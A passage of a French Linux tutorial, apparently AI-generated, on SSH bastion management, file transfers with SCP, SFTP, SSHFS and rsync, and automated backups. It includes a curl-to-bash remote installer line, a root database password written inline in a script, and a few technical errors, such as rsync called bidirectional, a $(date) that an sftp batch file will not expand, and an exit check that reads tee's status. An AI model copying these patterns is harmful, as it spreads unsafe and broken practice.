        echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIXyZwVu... deploy@company.com"
        ;;
    *)
        # Utilisateur non autorisé
        exit 1
        ;;
esac
```

---

**Rendre exécutable :**

```bash
sudo chmod +x /usr/local/bin/get-authorized-keys.sh
```

---

**Configurer sshd pour utiliser ce script :**

```bash
sudo nano /etc/ssh/sshd_config
```

**Ajouter :**

```bash
AuthorizedKeysCommand /usr/local/bin/get-authorized-keys.sh
AuthorizedKeysCommandUser nobody
```

---

**Redémarrer SSH :**

```bash
sudo systemctl restart ssh
```

---

**Tester :**

```bash
/usr/local/bin/get-authorized-keys.sh sysadmin
```

**Résultat : La clé publique de sysadmin.**

---

**Avantages :**
- [OK] Clés centralisées (1 seul endroit à modifier)
- [OK] Révocation instantanée (supprimer du script)
- [OK] Peut interroger une API, LDAP, base de données

**Inconvénients :**
- [ATTENTION] Point de défaillance unique (si script HS, plus de connexions)

---

#### Option 2 : Intégration LDAP/Active Directory

**Pour les grandes entreprises, intégrer SSH avec LDAP/AD.**

**Exemple avec SSSD (System Security Services Daemon) :**

```bash
sudo apt install sssd sssd-ldap -y
```

**Configuration dans `/etc/sssd/sssd.conf` :**

```ini
[sssd]
services = nss, pam
domains = company.com

[domain/company.com]
id_provider = ldap
auth_provider = ldap
ldap_uri = ldap://ldap.company.com
ldap_search_base = dc=company,dc=com
```

**Les utilisateurs LDAP peuvent se connecter avec leurs clés stockées dans LDAP.**

**Complexe mais très puissant pour les grandes infrastructures.**

---

### [OK] TESTS DE VALIDATION

**1. ProxyJump fonctionne**

```bash
ssh web-01
```

- [ ] Connexion réussie
- [ ] Pas besoin de se connecter manuellement au bastion d'abord

---

**2. Connexion multi-saut**

```bash
ssh -J bastion db-01
hostname
```

- [ ] Résultat : `db-01`

---

**3. Agent Forwarding**

```bash
ssh -A bastion
ssh web-01
```

- [ ] Connexion réussie sans clé sur le bastion

---

**4. Ansible fonctionne**

```bash
ansible all -i inventory.ini -m command -a "hostname"
```

- [ ] Hostnames de tous les serveurs affichés

---

**5. Audit des connexions**

```bash
# Sur le bastion
sudo ausearch -k ssh_auth | tail -10
```

- [ ] Connexions SSH loguées

---

### [ROUGE] ERREURS COURANTES ET SOLUTIONS

#### Erreur 1 : kex_exchange_identification: Connection closed by remote host

**Symptôme :**

```
kex_exchange_identification: Connection closed by remote host
```

**Cause : Trop de connexions simultanées ou MaxStartups atteint.**

**Solution sur le serveur :**

```bash
# Dans /etc/ssh/sshd_config
MaxStartups 30:50:100
```

---

#### Erreur 2 : ProxyJump not working

**Symptôme :**

ProxyJump ne fonctionne pas, connexion échoue.

**Cause : Version SSH trop ancienne (<7.3).**

**Solution : Mettre à jour OpenSSH ou utiliser ProxyCommand :**

```bash
Host web-01
    ProxyCommand ssh -W %h:%p bastion
```

---

#### Erreur 3 : ansible: command not found

**Symptôme :**

Ansible non installé.

**Solution :**

```bash
sudo apt install ansible -y
```

---

### [IMPORTANT] POINTS CLÉS À RETENIR

**1. Architecture Bastion**
- Point d'entrée unique = Meilleure sécurité
- Tous les serveurs internes inaccessibles directement
- Audit centralisé

**2. ProxyJump**
- Simplifie les connexions multi-saut
- Transparent pour l'utilisateur
- Plus sécurisé que Agent Forwarding

**3. Agent Forwarding**
- Permet d'utiliser les clés locales sans les copier
- [ATTENTION] Risque de sécurité si bastion compromis
- À utiliser avec prudence

**4. Gestion multi-serveurs**
- Patterns dans ~/.ssh/config
- Ansible pour l'automatisation
- Inventaire organisé par groupes

**5. Audit**
- Logs détaillés obligatoires
- auditd pour surveillance avancée
- Scripts de monitoring personnalisés

---

### [RAPIDE] POUR ALLER PLUS LOIN

**1. Certificats SSH (au lieu de clés publiques)**

```bash
# Générer une CA SSH
ssh-keygen -t rsa -f ca_key

# Signer une clé utilisateur (valide 30 jours)
ssh-keygen -s ca_key -I user_cert -V +30d -n username user_key.pub
```

**Avantages :**
- Révocation centralisée
- Expiration automatique
- Pas de gestion d'authorized_keys

---

**2. Bastion hautement disponible (HA)**

```
[Client] -> [Load Balancer] -> [Bastion-1]
                           -> [Bastion-2]
                           -> [Bastion-3]
```

**Avec HAProxy ou Nginx en load balancer.**

---

**3. Bastion avec 2FA (Two-Factor Authentication)**

```bash
sudo apt install libpam-google-authenticator -y
```

**Configuration dans `/etc/ssh/sshd_config` :**

```bash
ChallengeResponseAuthentication yes
AuthenticationMethods publickey,keyboard-interactive
```

**Exige clé SSH + code OTP (Google Authenticator).**

---

**4. SSH Bastion as a Service (cloud)**

- **AWS Systems Manager Session Manager**
- **Azure Bastion**
- **Google Cloud IAP (Identity-Aware Proxy)**

**Bastions managés dans le cloud.**

---

**5. Teleport (alternative moderne au bastion classique)**

**Teleport** = Bastion moderne avec :
- Interface web
- Enregistrement des sessions (vidéo)
- RBAC avancé
- 2FA intégré
- Audit complet

```bash
# Installation
curl https://get.gravitational.com/teleport-install.sh | bash
```

---

## [COURS] CONCLUSION DE L'EXERCICE 3

**[OK] Félicitations ! Tu maîtrises maintenant la gestion multi-serveurs via bastion !**

**Ce que tu as appris :**
- Architecture bastion et ses avantages
- ProxyJump pour connexions transparentes
- SSH Agent Forwarding (et ses risques)
- Configuration SSH avancée avec patterns
- Automatisation avec Ansible
- Audit et monitoring des connexions SSH
- Gestion centralisée des clés

**Compétences acquises :**
- [OK] Architecture réseau sécurisée (niveau intermédiaire-avancé)
- [OK] Gestion multi-serveurs
- [OK] Automatisation avec Ansible
- [OK] Audit et conformité
- [OK] Best practices SSH

**Temps moyen de réalisation :** 3-4 heures

**Prochaine étape :** Exercice 4 - SSHFS, SFTP et transferts de fichiers sécurisés ! [DOSSIER]

---

(Veux-tu que je continue avec l'exercice 4 sur les transferts de fichiers via SSH ?)

# [ROUGE] EXERCICE 4 : TRANSFERTS DE FICHIERS SÉCURISÉS VIA SSH

## [LISTE] ÉNONCÉ

### Contexte professionnel

Tu es administrateur système dans une agence de développement web qui gère les sites de plusieurs clients. L'équipe a besoin de transférer quotidiennement :
- **Backups de bases de données** (plusieurs GB) vers un serveur de sauvegarde
- **Code source** entre serveurs de développement et production
- **Assets média** (images, vidéos) vers un CDN
- **Logs applicatifs** pour analyse
- **Fichiers de configuration** entre environnements

Actuellement, l'équipe utilise FTP non sécurisé. Ton manager te demande de sécuriser TOUS les transferts de fichiers en utilisant SSH.

### Cahier des charges

La solution doit permettre de :
- **Transférer** des fichiers ponctuels (petits et grands)
- **Synchroniser** des répertoires complets
- **Monter** des systèmes de fichiers distants localement
- **Automatiser** les backups quotidiens
- **Monitorer** les transferts (progression, erreurs)
- **Optimiser** les performances (compression, bande passante)
- Tout cela via **SSH sécurisé** (pas de FTP)

### Architecture

```
┌─────────────────────────────────────────────────────────────┐
│                    POSTE DÉVELOPPEUR                        │
│                                                             │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐  │
│  │   SCP    │  │   SFTP   │  │  SSHFS   │  │  rsync   │  │
│  └────┬─────┘  └────┬─────┘  └────┬─────┘  └────┬─────┘  │
└───────┼─────────────┼─────────────┼─────────────┼─────────┘
        │             │             │             │
        └─────────────┴─────────────┴─────────────┘
                      │ SSH (port 22)
                      [BLACK_DOWN-POINTING_TRIANGLE]
        ┌─────────────────────────────┐
        │    SERVEUR DE PRODUCTION    │
        │    192.168.1.100            │
        │                             │
        │  /var/www/html/             │
        │  /backups/                  │
        │  /logs/                     │
        └─────────────────────────────┘
```

### Contraintes

- Tous les transferts DOIVENT être chiffrés (SSH)
- Backups quotidiens automatisés
- Reprise sur échec (réseau instable)
- Compression pour économiser la bande passante
- Limitation de débit (ne pas saturer la connexion)
- Temps estimé : 3-4 heures

---

## [OBJECTIF] OBJECTIFS PÉDAGOGIQUES

À la fin de cet exercice, tu sauras :

- [OK] Comprendre les différents outils de transfert SSH
- [OK] Utiliser SCP pour transferts ponctuels
- [OK] Maîtriser SFTP (ligne de commande et automatisation)
- [OK] Monter des systèmes distants avec SSHFS
- [OK] Synchroniser avec rsync (le plus puissant)
- [OK] Automatiser les backups
- [OK] Optimiser les performances (compression, bande passante)
- [OK] Gérer les transferts volumineux
- [OK] Mettre en place un serveur SFTP chroot (sécurité)

---

## [DOCS] PRÉREQUIS

- Exercices 1, 2 et 3 terminés
- SSH configuré avec clés (sans mot de passe)
- Serveur distant accessible
- Espace disque suffisant pour tests

---

## [OK] SOLUTION COMPLÈTE

### ÉTAPE 1 : Comprendre les outils de transfert SSH

**Il existe 4 outils principaux pour transférer des fichiers via SSH.**

#### Comparaison des outils

| Outil | Usage | Avantages | Inconvénients |
|-------|-------|-----------|---------------|
| **SCP** | Copie ponctuelle | [OK] Simple<br>[OK] Rapide | [X] Pas de reprise<br>[X] Écrase les fichiers<br>[X] Obsolète |
| **SFTP** | Transfert interactif | [OK] Protocole standard<br>[OK] Compatible partout | [X] Moins performant<br>[X] Pas de synchro |
| **SSHFS** | Montage distant | [OK] Comme un disque local<br>[OK] Transparent | [X] Lent<br>[X] Dépend de la connexion |
| **rsync** | Synchronisation | [OK] * Le plus puissant<br>[OK] Delta transfer<br>[OK] Reprise sur échec | [X] Plus complexe |

---

#### 1. SCP (Secure Copy Protocol)

**Principe :** Copie de fichiers via SSH (comme `cp` mais distant)

**Syntaxe basique :**

```bash
# Local -> Distant
scp fichier.txt user@serveur:/chemin/destination/

# Distant -> Local
scp user@serveur:/chemin/fichier.txt .

# Copie récursive (dossier)
scp -r dossier/ user@serveur:/destination/
```

**[ATTENTION] ATTENTION : SCP est déprécié depuis OpenSSH 8.0 !**

**Raison :** Vulnérabilités de sécurité (CVE-2020-15778)

**Recommandation : Utiliser rsync ou sftp à la place.**

---

#### 2. SFTP (SSH File Transfer Protocol)

**Principe :** Protocole de transfert de fichiers sécurisé (remplace FTP)

**Modes :**
- **Interactif** : Session SFTP interactive (comme FTP)
- **Batch** : Script automatisé (non interactif)

**Syntaxe :**

```bash
# Session interactive
sftp user@serveur

# Commande unique
sftp user@serveur:/chemin/fichier.txt

# Batch (script)
sftp -b script.txt user@serveur
```

---

#### 3. SSHFS (SSH FileSystem)

**Principe :** Monte un système de fichiers distant comme un disque local

**Analogie :** Comme un partage réseau Windows (\\serveur\partage) mais via SSH

**Utilisation :**

```bash
# Monter
sshfs user@serveur:/chemin/distant ~/point-de-montage

# Utiliser (comme un dossier normal)
cd ~/point-de-montage
ls
cp fichier.txt .

# Démonter
fusermount -u ~/point-de-montage
```

---

#### 4. rsync (Remote Sync)

**Principe :** Synchronisation intelligente de fichiers

**Pourquoi "intelligent" ?**

```
rsync utilise le "delta transfer" :
- Compare les fichiers source et destination
- Transfère SEULEMENT les différences
- Économise énormément de bande passante

Exemple :
Fichier 1 GB avec modification de 1 MB
-> rsync transfère SEULEMENT 1 MB (pas 1 GB)
```

**Syntaxe :**

```bash
# Synchroniser local -> distant
rsync -avz dossier/ user@serveur:/destination/

# Synchroniser distant -> local
rsync -avz user@serveur:/source/ dossier/
```

*** rsync est l'outil le plus puissant et recommandé ! ***

---

### ÉTAPE 2 : SCP - Transferts ponctuels

**Bien que déprécié, SCP est encore utilisé pour des transferts simples.**

#### Préparer l'environnement de test

**Sur TON PC, créer des fichiers de test :**

```bash
# Créer un dossier de test
mkdir ~/transfert-test
cd ~/transfert-test

# Créer des fichiers de différentes tailles
echo "Petit fichier texte" > petit.txt

# Fichier moyen (10 MB)
dd if=/dev/urandom of=moyen.bin bs=1M count=10

# Fichier volumineux (100 MB)
dd if=/dev/urandom of=gros.bin bs=1M count=100

# Créer un dossier avec plusieurs fichiers
mkdir -p projet/{src,docs,data}
echo "Code source" > projet/src/main.c
echo "Documentation" > projet/docs/README.md
echo "Données test" > projet/data/test.csv
```

---

#### Transfert simple (local -> distant)

```bash
scp petit.txt sysadmin@192.168.1.100:/tmp/
```

**Explication :**

```
scp petit.txt sysadmin@192.168.1.100:/tmp/
    │         │            │           │
    │         │            │           └─ Répertoire destination
    │         │            └───────────── Serveur distant
    │         └────────────────────────── Utilisateur
    └──────────────────────────────────── Fichier source
```

**Résultat :**

```
petit.txt                                 100%   19     1.2KB/s   00:00
```

**[OK] Fichier transféré !**

---

**Vérifier sur le serveur :**

```bash
ssh sysadmin@192.168.1.100 "ls -lh /tmp/petit.txt"
```

**Résultat :**

```
-rw-r--r-- 1 sysadmin sysadmin 19 Dec 30 15:00 /tmp/petit.txt
```

---

#### Transfert distant -> local

```bash
scp sysadmin@192.168.1.100:/etc/hostname .
```

**Le fichier `hostname` du serveur est copié dans le répertoire courant.**

---

#### Transfert récursif (dossier complet)

```bash
scp -r projet/ sysadmin@192.168.1.100:/tmp/
```

**`-r` = Recursive (récursif)**

**Tout le dossier `projet/` et son contenu sont transférés.**

---

#### Options utiles de SCP

```bash
# Afficher la progression (-v = verbose)
scp -v petit.txt sysadmin@192.168.1.100:/tmp/

# Préserver les attributs (permissions, dates)
scp -p fichier.txt sysadmin@192.168.1.100:/tmp/

# Limiter la bande passante (en Kbit/s)
scp -l 1000 gros.bin sysadmin@192.168.1.100:/tmp/
# Limite à 1000 Kbit/s = 125 KB/s

# Compression (pour fichiers texte)
scp -C fichier.txt sysadmin@192.168.1.100:/tmp/

# Port SSH personnalisé
scp -P 2222 fichier.txt sysadmin@192.168.1.100:/tmp/
# [ATTENTION] Attention : -P (majuscule) pour SCP, -p (minuscule) pour ssh
```

---

#### SCP via un bastion (ProxyJump)

```bash
scp -J bastion fichier.txt user@serveur-interne:/tmp/
```

**Ou avec option -o :**

```bash
scp -o "ProxyJump bastion" fichier.txt user@serveur-interne:/tmp/
```

---

### ÉTAPE 3 : SFTP - Transferts interactifs et automatisés

**SFTP = Remplaçant sécurisé de FTP**

#### Session SFTP interactive

```bash
sftp sysadmin@192.168.1.100
```

**Résultat :**

```
Connected to 192.168.1.100.
sftp>
```

**Tu es maintenant dans une session SFTP interactive.**

---

#### Commandes SFTP essentielles

**Navigation locale (ton PC) :**

```
sftp> lpwd
Local working directory: /home/user/transfert-test

sftp> lls
moyen.bin  petit.txt  projet  gros.bin

sftp> lcd /home/user/Documents
```

**Explication :**
- `lpwd` = Local Print Working Directory (affiche le répertoire local)
- `lls` = Local List (liste les fichiers locaux)
- `lcd` = Local Change Directory (changer de répertoire local)

---

**Navigation distante (serveur) :**

```
sftp> pwd
Remote working directory: /home/sysadmin

sftp> ls
backup  Documents  Downloads

sftp> cd /tmp
```

**Explication :**
- `pwd` = Print Working Directory (répertoire distant)
- `ls` = List (fichiers distants)
- `cd` = Change Directory (répertoire distant)

---

**Upload (local -> distant) :**

```
sftp> put petit.txt
Uploading petit.txt to /tmp/petit.txt
petit.txt                                 100%   19     1.2KB/s   00:00

sftp> put -r projet/
Uploading projet/ to /tmp/projet
```

**`-r` = Récursif (pour les dossiers)**

---

**Download (distant -> local) :**

```
sftp> get /etc/hostname
Fetching /etc/hostname to hostname
/etc/hostname                             100%    8     0.5KB/s   00:00

sftp> get -r /var/log/apache2
```

---

**Autres commandes utiles :**

```
# Créer un répertoire distant
sftp> mkdir backup

# Supprimer un fichier distant
sftp> rm ancien_fichier.txt

# Renommer un fichier distant
sftp> rename old.txt new.txt

# Afficher l'aide
sftp> help

# Quitter
sftp> exit
```

---

#### SFTP en mode batch (automatisation)

**Créer un fichier de commandes SFTP :**

```bash
nano sftp-commands.txt
```

**Contenu :**

```
# Script SFTP automatisé
# Ligne commençant par # = Commentaire

# Se positionner dans le répertoire distant
cd /var/backups

# Créer un dossier pour la date du jour
mkdir backup-$(date +%Y%m%d)

# Aller dans ce dossier
cd backup-$(date +%Y%m%d)

# Uploader les fichiers
put backup.sql
put -r uploads/

# Quitter
bye
```

---

**Exécuter le script :**

```bash
sftp -b sftp-commands.txt sysadmin@192.168.1.100
```

**Résultat :**

```
sftp> cd /var/backups
sftp> mkdir backup-20241230
sftp> cd backup-20241230
sftp> put backup.sql
Uploading backup.sql to /var/backups/backup-20241230/backup.sql
backup.sql                                100% 1234KB   1.2MB/s   00:01
sftp> put -r uploads/
...
```

**[OK] Script exécuté automatiquement !**

---

**Pour automatiser complètement (cron) :**

```bash
# Script shell
cat > backup-sftp.sh <<'EOF'
#!/bin/bash

# Générer le backup
mysqldump -u root -p'password' database > /tmp/backup.sql

# Script SFTP
cat > /tmp/sftp-batch <<SFTP
cd /var/backups
put /tmp/backup.sql
bye
SFTP

# Exécuter SFTP
sftp -b /tmp/sftp-batch sysadmin@192.168.1.100

# Nettoyer
rm /tmp/backup.sql /tmp/sftp-batch
EOF

chmod +x backup-sftp.sh
```

---

### ÉTAPE 4 : SSHFS - Monter des systèmes distants

**SSHFS permet de monter un répertoire distant comme s'il était local.**

#### Installer SSHFS

**Sur TON PC (client) :**

```bash
sudo apt update
sudo apt install sshfs -y
```

---

#### Créer un point de montage

```bash
mkdir ~/remote-server
```

---

#### Monter le système distant

```bash
sshfs sysadmin@192.168.1.100:/var/www/html ~/remote-server
```

**Explication :**

```
sshfs USER@HOST:/chemin/distant /chemin/local
```

**Le répertoire `/var/www/html` du serveur est maintenant accessible dans `~/remote-server`.**

---

#### Utiliser le système monté

```bash
# Lister les fichiers distants
ls ~/remote-server

# Copier un fichier vers le serveur
cp fichier.txt ~/remote-server/

# Éditer un fichier distant
nano ~/remote-server/index.html

# Tout se passe comme si c'était local !
```

**[BRAVO] Tu édites des fichiers distants comme s'ils étaient locaux ! [BRAVO]**

---

#### Vérifier le montage

```bash
df -h | grep remote-server
```

**Résultat :**

```
sysadmin@192.168.1.100:/var/www/html   50G   20G   28G  42% /home/user/remote-server
```

**Ou avec `mount` :**

```bash
mount | grep sshfs
```

---

#### Démonter le système

```bash
fusermount -u ~/remote-server
```

**Ou (si fusermount échoue) :**

```bash
sudo umount ~/remote-server
```

---

#### Options SSHFS utiles

```bash
# Monter avec compression
sshfs -C sysadmin@192.168.1.100:/data ~/remote-data

# Spécifier la clé SSH
sshfs -o IdentityFile=~/.ssh/id_rsa sysadmin@server:/data ~/data

# Permettre à d'autres utilisateurs d'accéder (nécessite allow_other dans /etc/fuse.conf)
sshfs -o allow_other sysadmin@server:/data ~/data

# Reconnexion automatique en cas de déconnexion
sshfs -o reconnect sysadmin@server:/data ~/data

# Cache pour meilleures performances
sshfs -o cache=yes,kernel_cache sysadmin@server:/data ~/data

# Port SSH personnalisé
sshfs -p 2222 sysadmin@server:/data ~/data
```

---

#### Montage automatique au démarrage (fstab)

**Éditer `/etc/fstab` :**

```bash
sudo nano /etc/fstab
```

**Ajouter :**

```
# Montage SSHFS automatique
sysadmin@192.168.1.100:/var/www/html /home/user/remote-server fuse.sshfs defaults,_netdev,IdentityFile=/home/user/.ssh/id_rsa,allow_other 0 0
```

**Explication des options :**

- `fuse.sshfs` = Type de système de fichiers
- `defaults` = Options par défaut
- `_netdev` = Attendre que le réseau soit disponible
- `IdentityFile=...` = Clé SSH à utiliser
- `allow_other` = Autoriser les autres utilisateurs
- `0 0` = Pas de dump ni de vérification fsck

---

**Tester le montage :**

```bash
sudo mount -a
```

**Si pas d'erreur, le montage sera automatique au prochain démarrage.**

---

#### Limitations de SSHFS

**[X] Performance :**
- Plus lent qu'un disque local
- Latence réseau (chaque opération = requête SSH)

**[X] Fiabilité :**
- Si la connexion SSH tombe, le système devient inaccessible
- Peut causer des freeze d'applications

**Recommandation :**
- [OK] Bon pour édition occasionnelle de fichiers
- [X] Pas adapté pour bases de données ou apps intensives
- [X] Éviter pour /home ou points critiques

---

### ÉTAPE 5 : rsync - Synchronisation puissante

**rsync = L'outil le plus puissant et recommandé pour les transferts SSH.**

#### Pourquoi rsync est le meilleur ?

**1. Delta Transfer (transfert différentiel) :**

```
Scénario :
- Fichier original : 1 GB
- Modification : 1 ligne (100 octets)

SCP :
-> Retransfère 1 GB complet

rsync :
-> Transfère SEULEMENT 100 octets
-> 10 000x plus efficace !
```

**2. Reprise sur échec :**

```
Transfert de 50 GB interrompu à 48 GB

SCP :
-> Recommence à 0

rsync :
-> Reprend à 48 GB
```

**3. Synchronisation bidirectionnelle :**

```
rsync garde source et destination identiques
Supprime les fichiers en trop, ajoute les manquants
```

---

#### Syntaxe de base

```bash
rsync [OPTIONS] SOURCE DESTINATION
```

**Local -> Distant :**

```bash
rsync -avz fichier.txt user@server:/destination/
```

**Distant -> Local :**

```bash
rsync -avz user@server:/source/fichier.txt .
```

---

#### Options essentielles

**`-a` = Archive mode (le plus important)**

```bash
rsync -a source/ destination/
```

**Équivalent à :**

```bash
rsync -rlptgoD source/ destination/
```

**Décomposition :**
- `-r` = Récursif
- `-l` = Préserver les liens symboliques
- `-p` = Préserver les permissions
- `-t` = Préserver les timestamps (dates de modification)
- `-g` = Préserver les groupes
- `-o` = Préserver les propriétaires
- `-D` = Préserver les fichiers spéciaux (devices)

*** `-a` est l'option la plus utilisée (archive complète) ***

---

**`-v` = Verbose (afficher les fichiers transférés)**

```bash
rsync -av source/ destination/
```

**Résultat :**

```
sending incremental file list
fichier1.txt
fichier2.txt
dossier/
dossier/fichier3.txt

sent 1,234 bytes  received 56 bytes  2,580.00 bytes/sec
total size is 10,000  speedup is 7.75
```

---

**`-z` = Compression (économise bande passante)**

```bash
rsync -avz source/ user@server:/destination/
```

**Active la compression GZIP pendant le transfert.**

**Utile pour :**
- [OK] Fichiers texte (code source, logs, CSV)
- [OK] Connexions lentes

**Pas utile pour :**
- [X] Fichiers déjà compressés (ZIP, JPG, MP4)
- [X] Connexions très rapides (overhead CPU)

---

**`--progress` = Afficher la progression**

```bash
rsync -avz --progress gros.bin user@server:/tmp/
```

**Résultat :**

```
gros.bin
    104,857,600 100%   10.52MB/s    0:00:09 (xfr#1, to-chk=0/1)

sent 104,900,000 bytes  received 35 bytes  10,490,003.50 bytes/sec
total size is 104,857,600  speedup is 1.00
```

**Affiche :**
- Taille transférée
- Pourcentage
- Vitesse
- Temps restant

---

**`--partial` = Garder les fichiers partiels (reprise)**

```bash
rsync -avz --partial --progress gros.bin user@server:/tmp/
```

**Si le transfert est interrompu, le fichier partiel est gardé.**

**Au prochain lancement, rsync reprend où il s'était arrêté.**

---

**`-P` = Équivalent à `--partial --progress`**

```bash
rsync -avzP gros.bin user@server:/tmp/
```

**Option couramment utilisée !**

---

#### Synchroniser des répertoires

**[ATTENTION] ATTENTION au slash final (`/`) !**

```bash
# AVEC slash : Copie LE CONTENU de source/ dans destination/
rsync -avz source/ user@server:/destination/
# Résultat : /destination/fichier1.txt, /destination/fichier2.txt

# SANS slash : Copie LE DOSSIER source dans destination/
rsync -avz source user@server:/destination/
# Résultat : /destination/source/fichier1.txt, /destination/source/fichier2.txt
```

*** Règle simple : Toujours mettre un `/` après le dossier source ! ***

---

#### Exclure des fichiers/dossiers

```bash
# Exclure un fichier spécifique
rsync -avz --exclude='*.log' source/ user@server:/destination/

# Exclure plusieurs patterns
rsync -avz \
  --exclude='*.log' \
  --exclude='*.tmp' \
  --exclude='node_modules/' \
  source/ user@server:/destination/

# Depuis un fichier
rsync -avz --exclude-from=exclude.txt source/ user@server:/destination/
```

**Fichier `exclude.txt` :**

```
*.log
*.tmp
.git/
node_modules/
__pycache__/
*.pyc
.DS_Store
Thumbs.db
```

---

#### Synchroniser en supprimant les fichiers en trop

**`--delete` = Supprime les fichiers de destination qui n'existent plus dans source**

```bash
rsync -avz --delete source/ user@server:/destination/
```

**Scénario :**

```
Source :
- fichier1.txt
- fichier2.txt

Destination (avant rsync) :
- fichier1.txt
- fichier2.txt
- fichier3.txt (à supprimer)

Destination (après rsync avec --delete) :
- fichier1.txt
- fichier2.txt
(fichier3.txt a été supprimé)
```

**[ATTENTION] Attention : `--delete` est dangereux ! Tester avec `--dry-run` d'abord.**

---

#### Mode dry-run (simulation)

```bash
rsync -avz --dry-run --delete source/ user@server:/destination/
```

**`--dry-run` (ou `-n`) = Simulation sans rien modifier**

**Affiche ce qui SERAIT fait, sans le faire réellement.**

*** TOUJOURS tester avec --dry-run avant un rsync critique ! ***

---

#### Limiter la bande passante

```bash
# Limiter à 1 MB/s (1000 KB/s)
rsync -avz --bwlimit=1000 source/ user@server:/destination/
```

**`--bwlimit=KBPS`** = Limite en KB/s (kilo-octets par seconde)

**Utile pour :**
- Ne pas saturer la connexion
- Permettre à d'autres services de fonctionner
- Connexions partagées

---

#### rsync via SSH avec options personnalisées

```bash
# Port SSH personnalisé
rsync -avz -e "ssh -p 2222" source/ user@server:/destination/

# Clé SSH spécifique
rsync -avz -e "ssh -i ~/.ssh/id_custom" source/ user@server:/destination/

# Compression SSH (en plus de rsync)
rsync -avz -e "ssh -C" source/ user@server:/destination/

# Via bastion (ProxyJump)
rsync -avz -e "ssh -J bastion" source/ user@server-interne:/destination/
```

**`-e` = Spécifie la commande shell à utiliser**

---

#### Synchroniser en conservant les hard links

```bash
rsync -avzH source/ user@server:/destination/
```

**`-H` = Préserve les hard links**

**Utile pour :**
- Backups Time Machine
- Systèmes avec liens hardlinkés

---

#### Afficher les statistiques

```bash
rsync -avz --stats source/ user@server:/destination/
```

**Résultat :**

```
Number of files: 1,234
Number of created files: 10
Number of deleted files: 0
Number of regular files transferred: 100
Total file size: 1,234,567,890 bytes
Total transferred file size: 100,000,000 bytes
Literal data: 50,000,000 bytes
Matched data: 50,000,000 bytes
File list size: 12,345
Total bytes sent: 100,500,000
Total bytes received: 1,234

sent 100,500,000 bytes  received 1,234 bytes  5,025,061.70 bytes/sec
total size is 1,234,567,890  speedup is 12.28
```

**Speedup = Facteur d'efficacité du delta transfer**

**Speedup de 12.28 = rsync a été 12x plus efficace qu'un transfert complet !**

---

### ÉTAPE 6 : Automatiser les backups avec rsync

**Créer un script de backup automatisé.**

#### Script de backup complet

```bash
nano ~/backup-rsync.sh
```

**Contenu :**

```bash
#!/bin/bash

# ═══════════════════════════════════════════════════════════════
# SCRIPT DE BACKUP AUTOMATISÉ AVEC RSYNC
# ═══════════════════════════════════════════════════════════════

# Configuration
BACKUP_SOURCE="/var/www/html"
BACKUP_DEST="sysadmin@192.168.1.100:/backups/website"
LOG_FILE="/var/log/backup-rsync.log"
EMAIL_ALERT="admin@example.com"

# Date et heure
DATE=$(date +"%Y-%m-%d %H:%M:%S")

# Fonction de log
log() {
    echo "[$DATE] $1" | tee -a "$LOG_FILE"
}

# ───────────────────────────────────────────────────────────────
# Début du backup
# ───────────────────────────────────────────────────────────────

log "Début du backup : $BACKUP_SOURCE -> $BACKUP_DEST"

# Exécuter rsync avec options complètes
rsync -avz \
    --delete \
    --partial \
    --progress \
    --stats \
    --exclude='*.log' \
    --exclude='*.tmp' \
    --exclude='cache/' \
    --log-file="$LOG_FILE.details" \
    "$BACKUP_SOURCE/" \
    "$BACKUP_DEST/" \
    2>&1 | tee -a "$LOG_FILE"

# Vérifier le code de retour
if [ $? -eq 0 ]; then
    log "[OK] Backup réussi"
else
    log "[X] Backup échoué (code: $?)"
    # Envoyer une alerte email
    echo "Backup échoué le $DATE" | mail -s "ALERTE: Backup rsync échoué" "$EMAIL_ALERT"
    exit 1
fi

# ───────────────────────────────────────────────────────────────
# Rotation des logs (garder seulement 30 jours)
# ───────────────────────────────────────────────────────────────

find /var/log/backup-rsync.log* -mtime +30 -delete

log "Backup terminé avec succès"
```

---

**Rendre exécutable :**

```bash
chmod +x ~/backup-rsync.sh
```

---

**Tester manuellement :**

```bash
./backup-rsync.sh
```

---

#### Automatiser avec cron

```bash
crontab -e
```

**Ajouter :**

```bash
# Backup quotidien à 02h00
0 2 * * * /home/user/backup-rsync.sh

# Backup toutes les 6 heures
0 */6 * * * /home/user/backup-rsync.sh

# Backup hebdomadaire (dimanche à 03h00)
0 3 * * 0 /home/user/backup-rsync.sh
```

---

#### Backups incrémentaux avec hard links

**Technique avancée : Garder plusieurs versions sans dupliquer les fichiers.**

```bash
#!/bin/bash

# ═══════════════════════════════════════════════════════════════
# BACKUP INCRÉMENTAL AVEC HARD LINKS
# ═══════════════════════════════════════════════════════════════

BACKUP_DIR="/backups"
DATE=$(date +%Y-%m-%d_%H-%M-%S)
LATEST="$BACKUP_DIR/latest"
CURRENT="$BACKUP_DIR/backup-$DATE"

# Créer le backup actuel en liant aux fichiers inchangés de "latest"
rsync -avz \
    --delete \
    --link-dest="$LATEST" \
    /var/www/html/ \
    "$CURRENT/"

# Mettre à jour le lien "latest"
rm -f "$LATEST"
ln -s "$CURRENT" "$LATEST"

# Rotation : Garder seulement les 7 derniers backups
ls -dt $BACKUP_DIR/backup-* | tail -n +8 | xargs rm -rf
```

**Résultat :**

```
/backups/
├── backup-2024-12-23_02-00-00/  (7 jours)
├── backup-2024-12-24_02-00-00/  (6 jours)
├── backup-2024-12-25_02-00-00/  (5 jours)
├── backup-2024-12-26_02-00-00/  (4 jours)
├── backup-2024-12-27_02-00-00/  (3 jours)
├── backup-2024-12-28_02-00-00/  (2 jours)
├── backup-2024-12-29_02-00-00/  (1 jour)
├── backup-2024-12-30_02-00-00/  (aujourd'hui)
└── latest -> backup-2024-12-30_02-00-00/
```

**Avantage :** Les fichiers inchangés sont partagés (hard links) -> Économie d'espace !

**Exemple :**

```
fichier.txt (1 MB) identique dans les 7 backups
Espace utilisé : 1 MB (pas 7 MB)
```

---

### ÉTAPE 7 : Serveur SFTP chroot (sécurité renforcée)

**Pour donner un accès SFTP à des utilisateurs SANS accès shell.**

**Scénario :** Des clients doivent uploader des fichiers mais ne doivent PAS avoir accès au shell.

---

#### Créer un utilisateur SFTP uniquement

**Sur le SERVEUR :**

```bash
# Créer un groupe sftp-only
sudo groupadd sftp-only

# Créer un utilisateur
sudo useradd -m -G sftp-only -s /bin/false sftpuser

# Définir un mot de passe
sudo passwd sftpuser
```

**`-s /bin/false`** = Pas d'accès shell

---

#### Créer le répertoire chroot

```bash
# Créer le répertoire chroot
sudo mkdir -p /var/sftp/uploads

